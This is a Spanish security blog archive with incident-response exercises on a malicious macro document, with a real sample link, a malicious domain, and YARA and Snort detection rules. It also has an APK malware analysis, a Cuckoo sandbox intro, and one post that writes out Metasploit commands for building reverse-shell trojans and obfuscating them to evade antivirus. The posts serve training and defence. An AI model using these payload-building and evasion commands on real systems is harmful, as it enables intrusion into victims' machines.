Gestión de incidentes práctica. Actuaciones ante malware (III)

Una vez solicitados y aplicados los bloqueos iniciales es posible analizar el documento con más calma, esto sirve principalmente para adquirir inteligencia sobre el malware y encontrar métodos más eficientes de gestionar incidentes relacionados con él. Por lo que se volverá a repetir la fase Incident Resolution, en esta ocasión el tiempo de respuesta no es tan importante, ya se han realizado las primeras tareas de contención, la empresa debería estar libre de este Malware o camino de estarlo.

5. Fase 5 – Incident Resolution II.

5.a. Data Analysis II: La primera tarea es descargar el fichero “File.exe”. La última vez que lo comprobé aún seguía disponible (09-4-2015). También es recomendable mirar las macros por si hubiese alguna información más. Desde office nos solicita contraseña:

[Read more…]

Gestión de incidentes práctica. Actuaciones ante malware (II)

Una de las metodologías más usadas para la gestión de incidentes es la metodología publicada por ENISA (European Union Agency for Network and Information Security), que se va usar como guía para la resolución del incidente.

Después de una primera aproximación a este ejercicio mediante el primer artículo de la serie, continuamos con la gestión del incidente.

Este artículo está propuesto a modo de ejercicio, así que se pueden ir siguiendo los diferentes pasos. También se va a mantener un timeline que refleja el tiempo que llevó cada uno de los pasos, teniendo en cuenta que no es el primer incidente de este tipo que se gestiona, por lo que el equipo de respuesta ante incidentes está formado y en plena forma.

En los incidentes de seguridad son muy importantes los tiempos de resolución y los tiempos que se emplean en las diferentes fases. El incidente está enfocado a un doc con Macros maliciosas de los cuales últimamente se están dando multitud de oleadas, ya que es una manera fácil y sencilla de saltarse las protecciones de los antivirus.

Este incidente está basado en un caso real que se detectó en el SOC de S2 Grupo hace unos días.

Desde el enlace https://www.securityartwork.es/wp-content/uploads/2015/03/Virus_cuidado.zip, comprimido con la contraseña «Infected», se pueden obtener los especímenes de malware a analizar. EL MALWARE DEL ENLACE ES REAL Y ES UTILIZADO ACTIVAMENTE EN INTERNET, NO ES UN FICHERO INOFENSIVO CREADO AD-HOC COMO PRUEBA DE CONCEPTO, por lo que es responsabilidad del lector garantizar la seguridad de su propio equipo y su red si decide abrir cualquiera de los ficheros que contiene. No descargue el fichero comprimido si no sabe lo que está haciendo. Security Art Work publica la muestra con fines educativos, pero no se responsabiliza del mal uso accidental o intencionado que pueda hacerse del malware. Insistimos: si no sabe muy bien lo que está haciendo, NO DESCARGUE EL FICHERO. Los experimentos con gaseosa.

Vamos allá. Empezamos con la gestión.

1. Fase 1 – Incident report – 10:27 del 8 de Abril de 2015: El sistema de correlación de eventos avisa de que se ha detectado un envío masivo de ficheros .doc a multitud de cuentas de la empresa. Además el documento ha disparado la siguiente regla YARA:

rule OfficeMacrosWinintelDLL
{
	meta:
		Autor = "Manuel Bermudez"
		date = "08-01-2015"
		description = "Fichero office con macros sospechosa"
		link = "https://www.securityartwork.es/"
	strings:
		$VBA1 = "VBA6"
		$VBA2 = "VBA7"
		$str1 = "wininet.dll" nocase
		$str2 = "InternetOpenUrl" nocase
		$str3 = "InternetReadFile" nocase
		$str4 = "InternetOpen" nocase
 		$str5 = "InternetCloseHandle" nocase
	condition:
		1 of ($VBA*) and 2 of ($str*)
}

Disponemos de los siguientes datos del fichero en cuestión:

Nombre: (Payment) 04.07.15.doc
SHA256: 8008a15c8321807da9c1ed31db3c00e10dd9d2b84ea15e6d285f35b95eb7c882

2. Fase 2 – Registration – 10:32 del 8 de Abril de 2015: Registramos el incidente, para lo que normalmente siempre se dispone de una herramienta de ticketing que permite hacer el seguimiento de los incidentes. Damos de alta el incidente siendo lo más descriptivos posible, como por ejemplo:

Número Evento: XXXX
Descripción: Recibido doc con posibles Macros maliciosas
__________________________________________________________________

Descripción detallada: Se han recibido multitud de correos con un mismo fichero adjunto que podría ejecutar una macro maliciosa que presumiblemente se descargara algún recurso.
Nombre: (Payment) 04.07.15.doc
SHA256: 8008a15c8321807da9c1ed31db3c00e10dd9d2b84ea15e6d285f35b95eb7c882
MD5: 05a94cd1e361bdee1c9c780036a7c956
SHA1: 8e813356b36ebcf50334794dce4d6e66a1a18b7c

3. Fase 3 – Triage: es un término médico que proviene del francés. Básicamente se trata de determinar qué necesitamos para diagnosticar y resolver el incidente, así como tratar de determinar el posible impacto.

4. Fase 4 – Incident Resolution – 10:35 del 8 de Abril de 2015. Esta es la fase más larga y se describe como un ciclo básico compuesto por 5 pasos, como se ve en la imagen. Esta una de las fases más importante y es necesario ser lo más eficientes posibles para proponer soluciones iniciales, dado que cuanto antes se implementen las soluciones menos equipos se infectaran.

4.a. Data Analysis – 10:40 del 8 de Abril de 2015: Se procede a analizar el documento. Por la información de la que se dispone, se trata de un doc con macros. Existen varias maneras de proceder, como por ejemplo analizarlo con las oletools u oledump. Sin embargo, teniendo en cuenta que el tiempo apremia, lo mas eficiente es copiarlo directamente a la máquina virtual y ejecutarlo, debido a que cada vez las macros están más ofuscadas o bien tienen contraseña, así que una manera que casi con total seguridad va funcionar es ejecutarla en la máquina virtual, que recordemos que no está conectada a internet (ésta está simulada).

Esto es lo se ve al abrir el fichero “(Payment) 04.07.15.doc”:

Al ejecutar las Macros observamos cómo en el DNSchef del equipo anfitrión nos muestra que se ha realizado una petición:

La consola en la que se ha puesto el puerto 80 a escuchar también nos da más datos:

Con esta información ya podemos poner en marcha acciones de contención, así que pasamos a la siguiente fase sin olvidar de documentar con todos los datos nuevos que hemos obtenido.

4.b. Resolution research – 10:50 del 8 de Abril de 2015. La idea de esta «subfase» es básicamente buscar una solución, que en este caso es evidente: bloquear el dominio para impedir que los usuarios que ejecuten las macros se infecten, así como implementar reglas de detección para localizar posibles equipos infectados.

4.c. Action proposed – 10:52 del 8 de Abril de 2015. Se solicita al departamento que corresponda el filtrado del dominio “www.droopy999.w.interia.pl” para que los usuarios no puedan navegar por el. Este proceso normalmente se realiza en el proxy de navegación o en firewall. También se solicita que se implementen las siguientes reglas en el IDS (casi todos los IDS/IPS del mercado suelen aceptar reglas con sintaxis de snort):

alert udp any any -> any 53 (msg:"S2-Malware Doc con Macro Maliciosa"; 
content:"www|09|droopy999|01|w|07|interia|02|pl" ; classtype:trojan-activity; sid:XXXXXX; rev:1;)

alert tcp any any -> any $HTTP_PORTS (msg:"S2-Malware Doc con Macro Maliciosa"; 
content:"www.droopy999.w.interia.pl" ; classtype:trojan-activity; sid:XXXXX; rev:1;)

Es muy importante seguir documentando la incidencia, haciendo especial hincapié en las hora de solicitud de las diferentes acciones.

4.d. Action Performed. En este punto debemos realizar la acción, ya sea realizando las solicitudes pertinentes podemos o aplicando los filtros si es un aspecto que entra dentro de nuestras competencias. En este punto se puede pasar a la siguiente fase.

4.e. Eradication and Recovery – 10:57 del 8 de Abril de 2015: en este paso buscamos información para saber cuántos usuarios han ejecutado las macros. Para esto necesitaremos los logs de navegación, en los que buscaremos equipos que hayan accedido a “http://www.droopy999.w.interia.pl/11/004.exe”.

La recomendación suele ser formatear dichos ordenadores si el departamento de soporte correspondiente dispone de un protocolo para hacerlo, también podemos comprobar si el antivirus lo detecta y erradica. Si no es así, la mayoría de empresas de antivirus te permite enviarle ejemplares para añadirlas en su fichero de firmas. Para ello debemos descargarnos el fichero “004.exe” y hacérselo llegar, aunque la experiencia nos dice que, en la mayor parte de los casos, es mucho más rápido y efectivo formatear los equipos infectados.

Aunque puede parecer que ya estamos en disposición de finalizar la alerta, aún nos queda hacer otra pasada sobre la fase 4 Incident Resolution, ya que al tener el virus es posible detectar si existen equipos infectados. En el siguiente post analizaremos el fichero “004.exe” y procederemos al cierre del incidente.

La línea de tiempo es aproximada, pero este virus se detectó el 8 de Abril de 2015 por la mañana y la detección en virustotal en ese momento era de 1/57. En menos de media hora se pudo analizar el documento y proponer una solución, siempre documentando cada una de las fases.

Gestión de incidentes práctica. Actuaciones ante malware (I). Laboratorio.

En esta serie de tres artículos se va a proponer un ejercicio de gestión de un incidente, concretamente un incidente relacionado con Malware. Se aplicará una de las metodologías de resolución de incidentes más extendida, y se analizaran las diferentes acciones que se deben tomar para gestionar un incidente relacionado con un malware. En este caso vamos a trabajar en un incidente relacionado con malware real, por lo que se necesitara un laboratorio para poder analizar el espécimen.

Además de una Cuckoo sandbox, que podéis ver como se instala en este otro artículo, vamos a necesitar una serie de herramientas:

Un equipo anfitrión, en este caso se trata de un Linux, con el siguiente software:

Equipo huésped Windows XP:

[Read more…]

Regla Yara para CVE 2013 2729

Antonio Sanz en sus artículos “PDF deconstruído al aroma de shellcode”, hace un análisis empleando la utilidad peepdf de un PDF que explota la vulnerabilidad “CVE 2013-2729”.

A partir de estos artículos, se me ocurrió la idea de generar una regla de YARA para detectar estos PDF maliciosos.

Para ponernos en situación, recordemos que la vulnerabilidad CVE 2013-2729 explota un fallo de Adobe Reader X que no valida bien los datos de imágenes BMP incrustadas en el documento. Mediante este fallo se puede ejecutar código malicioso debido a que provoca un heap overflow.

La siguiente regla de yara nos permite localizar los ficheros que explotan dicha vulnerabilidad:

rule shellcode_cve_2013_2729
{
meta:
        author = "Manuel"
        company = "S2 Grupo"
        date = "2014-12-17"
        description = "PDF con shellcode CVE 2013_2729"
        link1 = "http://www.binamuse.com/papers/XFABMPReport.pdf"
        link2 = "https://github.com/feliam/CVE-2013-2729/blob/master/XFABMPExploit.py"
        link3 = "https://github.com/feliam/CVE-2013-2729/blob/master/E10.1.4.pdf "
        link4 = "https://www.securityartwork.es/2014/09/30/pdf-deconstruido-al-
                 aroma-de-shellcode-i/"
        md5test =  "eb9228f17568704676385428d3bbefff"
strings:
        $xfa1 = "XFA 1 0 R"
        $xfa2 = "XFA 2 0 R"
        $xfa3 = "XFA 3 0 R"
        $s0 = "AcroForm 2 0 R"
        $s1 = "/Filter [/Fl"
condition:
        1 of ($xfa*) and all of ($s*)
}

Para ejecutar la regla, utilizaremos la siguiente instrucción:

yara <fichero regla> -s <fichero pdf>

Esperamos que esta regla os sirva de ayuda para detectar y analizar estos hermosos PDFs con regalo que seguro que recibís estas navidades.

Análisis rápido de APK

Hace unos días recibí en una de las cuentas de correo un fichero “.apk”, una extensión que como los lectores sabrán, corresponde a las aplicaciones Android. Como no acaba de ser normal —al menos en mi caso— eso de recibir una aplicación de Android por correo electrónico, lo que hice fue desconfiar y me puse a trastear un poco.

Lo primero una pequeña búsqueda en www.virustotal.com de MD5 nos revela que efectivamente se trata de un virus:

https://www.virustotal.com/es/file/bed05d8eace6a7ebc5dec7141ea4b9cc559f1b2aab8848e2c79df7a79de39b9d/analysis/

Lo siguiente es mirar el fichero Manifest para ver qué permisos solicita la aplicación. Para ello utilizaremos la aplicación apktool, un programa java que es muy sencillo de instalar:

apktool d foo.apk

Este comando creará una carpeta con varios ficheros, entre los cuales estará «>AndroidManifest.xml. Podemos observar que prácticamente pide todos los permisos.

Las aplicaciones Android son en realidad aplicaciones java, pero hay que modificarlas un poco, así que el siguiente paso es decompilarla. Para esto tenemos que convertirla a un fichero .jar, mediante el programa dex2jar

dex2jar.bat foo.apk

Ahora simplemente tenemos que utilizar la herramienta java decompiler para ver el código de programa.

Como podemos ver, parece que el virus hace casi de todo. Una de las cosas que siempre busco a la hora de hacer un análisis de este tipo es localizar hacia qué dominios contacta, y en este caso aparecen dos:

Si queremos ir más lejos y hacer un análisis dinámico podemos usar la sandbox online Anubis.

Creando un troyano indetectable por un antivirus

En este artículo vamos a ver a ver cómo crear un troyano que no detecten los antivirus, elemento en cuya protección la mayoría de usuarios y empresas delegan toda la seguridad de sus equipos.

Obviando proyectos tan interesantes como http://www.flu-project.com, lo cierto es que fabricar un troyano indetectable por los antivirus puede ser relativamente fácil. Una herramienta que nos permite realizar este tipo de tareas, y con la que toda persona que se dedique a seguridad debe estar familiarizado es Metasploit, así que vamos a realizar diferentes pruebas con Metasploit y sus payload.

Metasploit tiene diferentes módulos que nos pueden ayudar a crear nuestro troyano. Los más comunes son reverse_tcp y reverse_https. Metasploit nos propone varias opciones para hacer nuestro troyano un poco más indetectable para los antivirus, pero primero vamos a hacer un par de pruebas sin ninguna de estas opciones. La máquina que va a estar escuchando es la 192.168.56.102 y la que va a ser infectada la 192.168.56.101.

Primero creamos uno con el módulo reverse_tcp

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 X >reverse_tcp_1.exe

Ahora otro con el modulo reverse_http

msfpayload windows/meterpreter/reverse_tcp LPORT=8080 
   LHOST=192.168.56.102 X >reverse_http_1.exe

Probamos que todo ha funcionado correctamente:

Reverse_HTTP:

Reverse_TCP:

Ahora que sabemos que todo funciona, pasamos los dos ejecutables por virustotal a ver que resultados nos dan. Como vemos, los resultados son bastante esperanzadores, más de la mitad de los antivirus lo detectan.

Metasploit tiene diferentes módulos para encodear los ejecutables, vamos a usar el shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_tcp_encoded.exe
msfpayload windows/meterpreter/reverse_http LPORT=8080 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_http_encoded.exe

Los resultados son muy parecidos a los anteriores:

Como no cesamos en nuestro empeño, hay otra utilidad que nos puede servir de ayuda: PEScrambler. Es una utilidad que cambia pequeñas porciones de código de sitio.

El uso es muy fácil:

PEScrambler.exe -i reverse_tcp_encoded.exe -o reverse_tcp_encoded_PES.exe
PEScrambler.exe -i reverse_http_encoded.exe -o reverse_http_encoded_PES.exe

Aquí vemos como los resultados mejoran considerablemente:

Cuckoo: instalación y configuración básica

Hace ya un tiempo que estamos pensando alguna manera de mejorar en la detección de Malware y APTs y se nos ocurrió montar una sandbox que analizara ficheros automáticamente y nos generará un informe con los datos.

Esta idea no es nueva, es más algunas de las mejores marcas del sector ya ofrecen soluciones de este tipo. También existe una solución gratuita de sandbox.

Básicamente lo que hace este tipo de sandbox es ejecutar ficheros en una máquina virtual y generar informes de los cambios y conexiones que se realizan en este sistema. Una vez ejecutado el fichero la máquina virtual vuelve al estado inicial.

A continuación vamos a ver la instalación y configuración básica de esta sandbox.

[Read more…]